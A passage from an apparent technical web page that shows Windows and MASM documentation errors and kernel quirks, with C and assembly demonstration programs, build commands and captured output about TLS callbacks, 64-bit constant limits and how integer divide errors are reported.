(SIZE_T) 65536,
ThreadProc,
NULL,
0UL,
&dwThreadId);
if (hThread == NULL)
PrintConsole(hConsole,
L"CreateThread() returned error %lu\n",
GetLastError());
else
{
PrintConsole(hConsole,
L"\n"
L"Thread %lu created and started\n",
dwThreadId);
if (!CloseHandle(hThread))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
return TRUE;
}
__declspec(dllexport)
const WCHAR Blunder[] = L"Blunder";
#else // _DLL
__declspec(dllimport)
extern WCHAR Blunder[];
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WCHAR szModule[MAX_PATH];
DWORD dwModule;
DWORD dwError = ERROR_SUCCESS;
HMODULE hCaller;
WCHAR szCaller[MAX_PATH];
DWORD dwCaller;
DWORD dwThreadId = GetCurrentThreadId();
DWORD dwThread;
HANDLE hThread;
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
if (hError == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
dwModule = GetModuleFileName((HMODULE) NULL,
szModule,
sizeof(szModule) / sizeof(*szModule));
if (dwModule < sizeof(szModule) / sizeof(*szModule))
szModule[dwModule] = L'\0';
if (GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
_ReturnAddress(),
&hCaller))
{
dwCaller = GetModuleFileName(hCaller,
szCaller,
sizeof(szCaller) / sizeof(*szCaller));
if (dwCaller < sizeof(szCaller) / sizeof(*szCaller))
szCaller[dwCaller] = L'\0';
}
else
szCaller[0] = L'\0';
PrintConsole(hError,
L"\n"
__LPREFIX(__FUNCTION__) L"() function @ 0x%p\n"
L"\tCalled module @ 0x%p = %ls\n"
L"\tCalling module @ 0x%p = %ls\n"
L"\tReturn address @ 0x%p = 0x%p\n"
L"\n"
L"\tThread id = %lu\n"
L"\tTLS index = %ld\n"
L"\tTLS value = 0x%p\n"
L"\tTLS array @ 0x%p\n"
L"\tTLS block @ 0x%p\n",
wmainCRTStartup,
&__ImageBase, szModule,
hCaller, szCaller,
_AddressOfReturnAddress(), _ReturnAddress(),
dwThreadId,
_tls_index,
TlsGetValue(_tls_index),
#ifdef _M_IX86
__readfsdword(44),
((LPVOID *) __readfsdword(44))[_tls_index]);
#elif _M_AMD64
__readgsqword(88),
((LPVOID *) __readgsqword(88))[_tls_index]);
#else
#error Only I386 and AMD64 supported!
#endif
hThread = CreateThread((LPSECURITY_ATTRIBUTES) NULL,
(SIZE_T) 65536,
ThreadProc,
Blunder,
0UL,
&dwThreadId);
if (hThread == NULL)
PrintConsole(hError,
L"CreateThread() returned error %lu\n",
dwError = GetLastError());
else
{
PrintConsole(hError,
L"\n"
L"Thread %lu created and started\n",
dwThreadId);
if (WaitForSingleObject(hThread, INFINITE) == WAIT_FAILED)
PrintConsole(hError,
L"WaitForSingleObject() returned error %lu\n",
dwError = GetLastError());
if (!GetExitCodeThread(hThread, &dwThread))
PrintConsole(hError,
L"GetExitCodeThread() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hError,
L"\n"
L"Thread %lu exited with code %lu\n",
dwThreadId, dwThread);
if (!CloseHandle(hThread))
PrintConsole(hError,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
if (WaitForSingleObject(GetCurrentThread(), INFINITE) == WAIT_FAILED)
PrintConsole(hError,
L"WaitForSingleObject() returned error %lu\n",
dwError = GetLastError());
}
ExitProcess(dwError);
}
#endif // _DLL
Compile and link the source file blunder.c
created in
step 1. a first time to build the
DLL
blunder.dll
and its import library
blunder.lib
:
SET CL=/W4 /Zl SET LINK=/NODEFAULTLIB CL.EXE /LD /MD blunder.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: blunder.dll
is a pure
Win32
DLL
and builds without the
MSVCRT
libraries.
Note: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(103) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'void *' blunder.c(104) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'void *' blunder.c(105) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD *' blunder.c(106) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'const PIMAGE_TLS_CALLBACK *' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /NODEFAULTLIB /out:blunder.dll /dll /implib:blunder.lib blunder.obj kernel32.lib user32.lib Creating library blunder.lib and object blunder.exp
Compile the source file blunder.c
created in
step 1. a second time and link it with the import library
blunder.lib
generated in step 2. to build the
console application blunder.exe
:
SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c blunder.lib kernel32.lib user32.libNote:
blunder.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(103) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'void *' blunder.c(104) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'void *' blunder.c(105) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD *' blunder.c(106) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'const PIMAGE_TLS_CALLBACK *' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj blunder.lib kernel32.lib user32.lib
Execute the console application blunder.exe
built in
step 3. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
TLSCallback() function @ 0x7465104E Called module @ 0x74650000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0047F968 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 1 (process attach) Unused = 0x00000000 Thread id = 3700 Thread exit code = 259 Process exit code = 259 _DllMainCRTStartup() function @ 0x7465122A Called module @ 0x74650000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0047F9A4 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 1 (process attach) Context = 0x0047FCA8 Thread id = 3700 TLS index = 1 TLS value = 0x00000000 TLS array @ 0x007E4CA0 TLS block @ 0x007FB5A0 Thread 7816 created and started TLSCallback() function @ 0x0023104E Called module @ 0x00230000 = C:\Users\Stefan\Desktop\blunder.exe Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0047F968 = 0x778D9280 Arguments: Module = 0x00230000 Reason = 1 (process attach) Unused = 0x00000000 Thread id = 3700 Thread exit code = 259 Process exit code = 259 wmainCRTStartup() function @ 0x0023122A Called module @ 0x00230000 = C:\Users\Stefan\Desktop\blunder.exe Calling module @ 0x77200000 = C:\Windows\syswow64\kernel32.dll Return address @ 0x0047FF10 = 0x7721343D Thread id = 3700 TLS index = 0 TLS value = 0x00000000 TLS array @ 0x007E4CA0 TLS block @ 0x007E4CD0 Thread 13192 created and started TLSCallback() function @ 0x7465104E Called module @ 0x74650000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0217F898 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 2 (thread attach) Unused = 0x00000000 Thread id = 7816 Thread exit code = 259 Process exit code = 259 _DllMainCRTStartup() function @ 0x7465122A Called module @ 0x74650000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0217F8D4 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 2 (thread attach) Context = 0x00000000 Thread id = 7816 TLS index = 1 TLS value = 0x00000000 TLS array @ 0x00802840 TLS block @ 0x00802870 TLSCallback() function @ 0x0023104E Called module @ 0x00230000 = C:\Users\Stefan\Desktop\blunder.exe Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0217F898 = 0x778D9280 Arguments: Module = 0x00230000 Reason = 2 (thread attach) Unused = 0x00000000 Thread id = 7816 Thread exit code = 259 Process exit code = 259 TLSCallback() function @ 0x7465104E Called module @ 0x74650000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0233F664 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 2 (thread attach) Unused = 0x00000000 Thread id = 13192 Thread exit code = 259 Process exit code = 259 _DllMainCRTStartup() function @ 0x7465122A Called module @ 0x74650000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0233F6A0 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 2 (thread attach) Context = 0x00000000 Thread id = 13192 TLS index = 1 TLS value = 0x00000000 TLS array @ 0x008028A8 TLS block @ 0x008028E8 TLSCallback() function @ 0x0023104E Called module @ 0x00230000 = C:\Users\Stefan\Desktop\blunder.exe Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0233F664 = 0x778D9280 Arguments: Module = 0x00230000 Reason = 2 (thread attach) Unused = 0x00000000 Thread id = 13192 Thread exit code = 259 Process exit code = 259 ThreadProc() function @ 0x74651148 Called module @ 0x74650000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x77200000 = C:\Windows\syswow64\kernel32.dll Return address @ 0x0217FC68 = 0x7721343D Parameter = 0x00000000 Thread id = 7816 ThreadProc() function @ 0x00231148 Called module @ 0x00230000 = C:\Users\Stefan\Desktop\blunder.exe Calling module @ 0x77200000 = C:\Windows\syswow64\kernel32.dll Return address @ 0x0233FA34 = 0x7721343D Parameter = 0x746530F8 Thread id = 13192 TLSCallback() function @ 0x7465104E Called module @ 0x74650000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0217FB58 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 3 (thread detach) Unused = 0x00000000 Thread id = 7816 Thread exit code = 259 Process exit code = 259 _DllMainCRTStartup() function @ 0x7465122A Called module @ 0x74650000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0217FB94 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 3 (thread detach) Context = 0x00000000 Thread id = 7816 TLS index = 1 TLS value = 0x00000000 TLS array @ 0x00802840 TLS block @ 0x00802870 TLSCallback() function @ 0x0023104E Called module @ 0x00230000 = C:\Users\Stefan\Desktop\blunder.exe Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0217FB58 = 0x778D9280 Arguments: Module = 0x00230000 Reason = 3 (thread detach) Unused = 0x00000000 Thread id = 7816 Thread exit code = 259 Process exit code = 259 TLSCallback() function @ 0x7465104E Called module @ 0x74650000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0233F4E8 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 0 (process detach) Unused = 0x00000000 Thread id = 13192 Thread exit code = 259 Process exit code = 258 _DllMainCRTStartup() function @ 0x7465122A Called module @ 0x74650000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0233F524 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 0 (process detach) Context = 0x00000001 Thread id = 13192 TLS index = 1 TLS value = 0x00000000 TLS array @ 0x008028A8 TLS block @ 0x008028E8 TLSCallback() function @ 0x0023104E Called module @ 0x00230000 = C:\Users\Stefan\Desktop\blunder.exe Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0233F4E8 = 0x778D9280 Arguments: Module = 0x00230000 Reason = 0 (process detach) Unused = 0x00000000 Thread id = 13192 Thread exit code = 259 Process exit code = 258 0x102 (WIN32: 258 WAIT_TIMEOUT) -- 258 (258) Error message text: The wait operation timed out. CertUtil: -error command completed successfully.
TLSCallback() function @ 0x000007FEF63B106C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x000000000027EF38 = 0x0000000077725078 Arguments: Module = 0x000007FEF63B0000 Reason = 1 (process attach) Unused = 0x0000000000000000 Thread id = 11656 Thread exit code = 259 Process exit code = 259 _DllMainCRTStartup() function @ 0x000007FEF63B132C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x000000000027EFA8 = 0x0000000077717C3E Arguments: Module = 0x000007FEF63B0000 Reason = 1 (process attach) Context = 0x000000000027F730 Thread id = 11656 TLS index = 1 TLS value = 0x0000000000000000 TLS array @ 0x00000000003F3300 TLS block @ 0x000000000041A1E0 Thread 2764 created and started TLSCallback() function @ 0x000000013F61106C Called module @ 0x000000013F610000 = C:\Users\Stefan\Desktop\blunder.exe Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x000000000027EF38 = 0x0000000077725078 Arguments: Module = 0x000000013F610000 Reason = 1 (process attach) Unused = 0x0000000000000000 Thread id = 11656 Thread exit code = 259 Process exit code = 259 wmainCRTStartup() function @ 0x000000013F61132C Called module @ 0x000000013F610000 = C:\Users\Stefan\Desktop\blunder.exe Calling module @ 0x00000000774C0000 = C:\Windows\system32\kernel32.dll Return address @ 0x000000000027FB88 = 0x00000000774D556D Thread id = 11656 TLS index = 0 TLS value = 0x0000000000000000 TLS array @ 0x00000000003F3300 TLS block @ 0x00000000003F3350 Thread 7656 created and started TLSCallback() function @ 0x000007FEF63B106C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001D3F6B8 = 0x0000000077725078 Arguments: Module = 0x000007FEF63B0000 Reason = 2 (thread attach) Unused = 0x0000000000000000 Thread id = 2764 Thread exit code = 259 Process exit code = 259 _DllMainCRTStartup() function @ 0x000007FEF63B132C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001D3F728 = 0x00000000777183CC Arguments: Module = 0x000007FEF63B0000 Reason = 2 (thread attach) Context = 0x0000000000000000 Thread id = 2764 TLS index = 1 TLS value = 0x0000000000000000 TLS array @ 0x000000000041A310 TLS block @ 0x000000000041A380 TLSCallback() function @ 0x000000013F61106C Called module @ 0x000000013F610000 = C:\Users\Stefan\Desktop\blunder.exe Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001D3F6B8 = 0x0000000077725078 Arguments: Module = 0x000000013F610000 Reason = 2 (thread attach) Unused = 0x0000000000000000 Thread id = 2764 Thread exit code = 259 Process exit code = 259 ThreadProc() function @ 0x000007FEF63B11E4 Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x00000000774C0000 = C:\Windows\system32\kernel32.dll Return address @ 0x0000000001D3FD48 = 0x00000000774D556D Parameter = 0x0000000000000000 Thread id = 2764 TLSCallback() function @ 0x000007FEF63B106C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001D3FB98 = 0x0000000077725078 Arguments: Module = 0x000007FEF63B0000 Reason = 3 (thread detach) Unused = 0x0000000000000000 Thread id = 2764 Thread exit code = 259 Process exit code = 259 _DllMainCRTStartup() function @ 0x000007FEF63B132C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001D3FC08 = 0x0000000077718785 Arguments: Module = 0x000007FEF63B0000 Reason = 3 (thread detach) Context = 0x0000000000000000 Thread id = 2764 TLS index = 1 TLS value = 0x0000000000000000 TLS array @ 0x000000000041A310 TLS block @ 0x000000000041A380 TLSCallback() function @ 0x000000013F61106C Called module @ 0x000000013F610000 = C:\Users\Stefan\Desktop\blunder.exe Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001D3FB98 = 0x0000000077725078 Arguments: Module = 0x000000013F610000 Reason = 3 (thread detach) Unused = 0x0000000000000000 Thread id = 2764 Thread exit code = 259 Process exit code = 259 TLSCallback() function @ 0x000007FEF63B106C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001F6F7D8 = 0x0000000077725078 Arguments: Module = 0x000007FEF63B0000 Reason = 2 (thread attach) Unused = 0x0000000000000000 Thread id = 7656 Thread exit code = 259 Process exit code = 259 _DllMainCRTStartup() function @ 0x000007FEF63B132C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001F6F848 = 0x00000000777183CC Arguments: Module = 0x000007FEF63B0000 Reason = 2 (thread attach) Context = 0x0000000000000000 Thread id = 7656 TLS index = 1 TLS value = 0x0000000000000000 TLS array @ 0x000000000041B410 TLS block @ 0x000000000041B460 TLSCallback() function @ 0x000000013F61106C Called module @ 0x000000013F610000 = C:\Users\Stefan\Desktop\blunder.exe Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001F6F7D8 = 0x0000000077725078 Arguments: Module = 0x000000013F610000 Reason = 2 (thread attach) Unused = 0x0000000000000000 Thread id = 7656 Thread exit code = 259 Process exit code = 259 ThreadProc() function @ 0x000000013F6111E4 Called module @ 0x000000013F610000 = C:\Users\Stefan\Desktop\blunder.exe Calling module @ 0x00000000774C0000 = C:\Windows\system32\kernel32.dll Return address @ 0x0000000001F6FE68 = 0x00000000774D556D Parameter = 0x000007FEF63B2138 Thread id = 7656 TLSCallback() function @ 0x000007FEF63B106C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001F6FA18 = 0x0000000077725078 Arguments: Module = 0x000007FEF63B0000 Reason = 0 (process detach) Unused = 0x0000000000000000 Thread id = 7656 Thread exit code = 259 Process exit code = 258 _DllMainCRTStartup() function @ 0x000007FEF63B132C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001F6FA88 = 0x000000007771775B Arguments: Module = 0x000007FEF63B0000 Reason = 0 (process detach) Context = 0x0000000000000001 Thread id = 7656 TLS index = 1 TLS value = 0x0000000000000000 TLS array @ 0x000000000041B410 TLS block @ 0x000000000041B460 TLSCallback() function @ 0x000000013F61106C Called module @ 0x000000013F610000 = C:\Users\Stefan\Desktop\blunder.exe Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001F6FA18 = 0x0000000077725078 Arguments: Module = 0x000000013F610000 Reason = 0 (process detach) Unused = 0x0000000000000000 Thread id = 7656 Thread exit code = 259 Process exit code = 258 0x102 (WIN32: 258 WAIT_TIMEOUT) -- 258 (258) Error message text: The wait operation timed out. CertUtil: -error command completed successfully.Note: the module loader calls the TLS Callback Function
TLSCallback()
before the entry-point
functions of the
DLL
blunder.dll
and the console application
blunder.exe
, and finally also after
the latter called
ExitProcess()
!
OOPS¹: although both
StartAddressOfRawData
and
EndAddressOfRawData
members of the
_tls_used
structure are NULL
, i.e.
TLS template data is
absent, the module loader allocates a
TLS block per
thread!
OOPS²: contrary to the documentation cited
above, the module loader discards the SizeOfZeroFill
member of the _tls_used
structure!
OOPS³: contrary to the documentation cited
above, the exit code (here: Win32 error code 258 alias
WAIT_TIMEOUT
)
of the not yet terminated process is already set!
HIGH32
of MASM alias
ML.EXE
states:
The documentation for the operatorReturns the low 32 bits of expression. MASM expressions are 64-bit values.HIGH32 expression
LOW32
of MASM alias
ML.EXE
states:
Returns the low 32 bits of expression. MASM expressions are 64-bit values.LOW32 expression
Create the text file blunder.asm
with the following
content in an arbitrary, preferable empty directory:
; Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
.model flat, C
.code
mov eax, LOW32 0123456789ABCDEFh
mov edx, HIGH32 0123456789ABCDEFh
.const
qword 0123456789ABCDEFh
oword 0123456789ABCDEF0123456789ABCDEFh
end
Assemble the source file blunder.asm
created in
step 1.:
SET ML=/c /W3 /X ML.EXE /FoNUL: blunder.asmNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) Macro Assembler Version 10.00.40219.01 Copyright (C) Microsoft Corporation. All rights reserved. Assembling: blunder.asm blunder.asm(4) : error A2084:constant value too large blunder.asm(5) : error A2084:constant value too largeOUCH: contrary to both highlighted statements of the documentation cited above, (constant) expressions are but 32-bit values!
Create the text file blunder.asm
with the following
content in an arbitrary, preferable empty directory:
; Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
.386
.model flat, C
.code
blunder proc public
mov ecx, 1 shl 31 ; ecx = divisor = 0x80000000,
; edx:eax = arbitrary dividend
div ecx ; eax = arbitrary quotient,
; edx = arbitrary remainder
; < divisor
not edx ; edx:eax = dividend
; = divisor << 32 | arbitrary quotient
; > divisor << 32
div ecx ; raise #DE (divide error exception) via
; quotient overflow
;; ret
blunder endp
end blunder ; writes "/ENTRY:blunder" to '.drectve' section
Assemble and link the source file blunder.asm
created
in step 1.:
SET ML=/W3 /X SET LINK=/NODEFAULTLIB /RELEASE /SUBSYSTEM:CONSOLE ML.EXE blunder.asmNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) Macro Assembler Version 10.00.40219.01 Copyright (C) Microsoft Corporation. All rights reserved. Assembling: blunder.asm Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /NODEFAULTLIB /RELEASE /SUBSYSTEM:CONSOLE /OUT:blunder.exe blunder.obj
Execute the console application blunder.exe
built in
step 2. to show that 231 is equal 0:
VER .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Microsoft Windows [Version 6.1.7601] 0xc0000094 (NT: 0xc0000094 STATUS_INTEGER_DIVIDE_BY_ZERO) -- 3221225620 (-1073741676) Error message text: {EXCEPTION} Integer division by zero CertUtil: -error command completed successfully.OUCH: (at least) for the divisor 231, which most obviously differs from 0, Windows’ kernel maps the processor’s
#DE
to the
wrong
NTSTATUS
0xC0000094
alias STATUS_INTEGER_DIVIDE_BY_ZERO
instead to the
correct
0xC0000095
alias STATUS_INTEGER_OVERFLOW
!
(Optional) If you have the
Debugging Tools for Windows
installed, execute the console application blunder.exe
built in step 2. under the debugger:
CDB.EXE /C g;q /G /g .\blunder.exeNote: if necessary, see the MSDN articles Debugging Using CDB and NTSD and CDB Command-Line Options for an introduction.
Microsoft (R) Windows Debugger Version 6.11.0001.404 X86 Copyright (c) Microsoft Corporation. All rights reserved. CommandLine: .\blunder.exe Symbol search path is: srv* Executable search path is: ModLoad: 00ee0000 00ee2000 image00ee0000 ModLoad: 779c0000 77b40000 ntdll.dll ModLoad: 774d0000 775e0000 C:\Windows\syswow64\kernel32.dll ModLoad: 76080000 760c7000 C:\Windows\syswow64\KERNELBASE.dll ModLoad: 75790000 75831000 C:\Windows\syswow64\ADVAPI32.DLL ModLoad: 75fd0000 7607c000 C:\Windows\syswow64\msvcrt.dll ModLoad: 75e70000 75e89000 C:\Windows\SysWOW64\sechost.dll ModLoad: 75ed0000 75fc0000 C:\Windows\syswow64\RPCRT4.dll ModLoad: 750e0000 75140000 C:\Windows\syswow64\SspiCli.dll ModLoad: 750d0000 750dc000 C:\Windows\syswow64\CRYPTBASE.dll (22f0.26a0): Integer divide-by-zero - code c0000094 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=01dc2000 ebx=7efde000 ecx=80000000 edx=88b1cbd4 esi=00000000 edi=00000000 eip=00ee1009 esp=001bf898 ebp=001bf8a0 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 *** ERROR: Module load completed but symbols could not be loaded for image00ee0000 image00ee0000+0x1009: 00ee1009 f7f1 div eax,ecx 0:000:x86> cdb: Reading initial command 'g;q' (22f0.26a0): Integer divide-by-zero - code c0000094 (!!! second chance !!!) quit:Oops: also notice the bunch of not explicitly referenced DLLs loaded with
Overwrite the text file blunder.asm
created in
step 1. with the following content:
; Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
.code
blunder proc public
mov rcx, 1 shl 63 ; rcx = divisor = 0x8000000000000000,
; rdx:rax = arbitrary dividend
div rcx ; rax = arbitrary quotient,
; rdx = arbitrary remainder
; < divisor
not rdx ; rdx:rax = dividend
; = divisor << 64 | arbitrary quotient
; > divisor << 64
div rcx ; raise #DE (divide error exception) via
; quotient overflow
;; ret
blunder endp
end
Assemble and link the source file blunder.asm
modified
in step 5.:
SET ML=/W3 /X SET LINK=/ENTRY:blunder /NODEFAULTLIB /RELEASE /SUBSYSTEM:CONSOLE ML64.EXE blunder.asmNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) Macro Assembler (x64) Version 10.00.40219.01 Copyright (C) Microsoft Corporation. All rights reserved. Assembling: blunder.asm Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:blunder /NODEFAULTLIB /RELEASE /SUBSYSTEM:CONSOLE /OUT:blunder.exe blunder.obj
Execute the console application blunder.exe
built in
step 6. to show that 263 is equal 0:
VER .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Microsoft Windows [Version 6.1.7601] 0xc0000094 (NT: 0xc0000094 STATUS_INTEGER_DIVIDE_BY_ZERO) -- 3221225620 (-1073741676) Error message text: {EXCEPTION} Integer division by zero CertUtil: -error command completed successfully.OUCH: (at least) for the divisor 263, which most obviously differs from 0, Windows’ kernel maps the processor’s
#DE
to the
wrong
NTSTATUS
0xC0000094
alias STATUS_INTEGER_DIVIDE_BY_ZERO
instead to the
correct
0xC0000095
alias STATUS_INTEGER_OVERFLOW
!
(Optional) If you have the
Debugging Tools for Windows
installed, execute the console application blunder.exe
built in step 6. under the debugger:
CDB.EXE /C g;q /G /g .\blunder.exeNote: if necessary, see the MSDN articles Debugging Using CDB and NTSD and CDB Command-Line Options for an introduction.
Microsoft (R) Windows Debugger Version 6.1.7601.17514 AMD64 Copyright (c) Microsoft Corporation. All rights reserved. CommandLine: .\blunder.exe Symbol search path is: srv* Executable search path is: ModLoad: 00000001`3ff10000 00000001`3ff12000 image00000001`3ff10000 ModLoad: 00000000`77800000 00000000`7799f000 ntdll.dll ModLoad: 00000000`775e0000 00000000`776ff000 C:\Windows\system32\kernel32.dll ModLoad: 000007fe`fd510000 000007fe`fd577000 C:\Windows\system32\KERNELBASE.dll ModLoad: 000007fe`fd980000 000007fe`fda5b000 C:\Windows\system32\ADVAPI32.DLL ModLoad: 000007fe`fe1c0000 000007fe`fe25f000 C:\Windows\system32\msvcrt.dll ModLoad: 000007fe`fe260000 000007fe`fe27f000 C:\Windows\SYSTEM32\sechost.dll ModLoad: 000007fe`ff250000 000007fe`ff37c000 C:\Windows\system32\RPCRT4.dll (2274.3570): Integer divide-by-zero - code c0000094 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Module load completed but symbols could not be loaded for image00000001`3ff10000 image00000001_3ff10000+0x1010: 00000001`3ff11010 48f7f1 div rax,rcx 0:000> cdb: Reading initial command 'g;q' (2274.3570): Integer divide-by-zero - code c0000094 (!!! second chance !!!) quit:Oops: again notice the slew of not explicitly referenced DLLs loaded with
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2019-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#include <intrin.h>
#ifndef _WIN64
__int32 mainCRTStartup(void)
{
__int64 arbitrary = __rdtsc();
return _udiv64(1ULL << 63 | arbitrary, 1UL << 31, 0);
}
#else // _WIN64
__int64 mainCRTStartup(void)
{
__int64 arbitrary = __rdtsc();
return _udiv128(1ULL << 63 | arbitrary, arbitrary, 1ULL << 63, 0);
}
#endif // _WIN64
Compile and link the source file blunder.c
created in
step 9. in the 32-bit development environment:
SET CL=/Oi /W4 /Zl SET LINK=/ENTRY:mainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.cNote: the command lines can be copied and pasted as block into a Command Processor window.
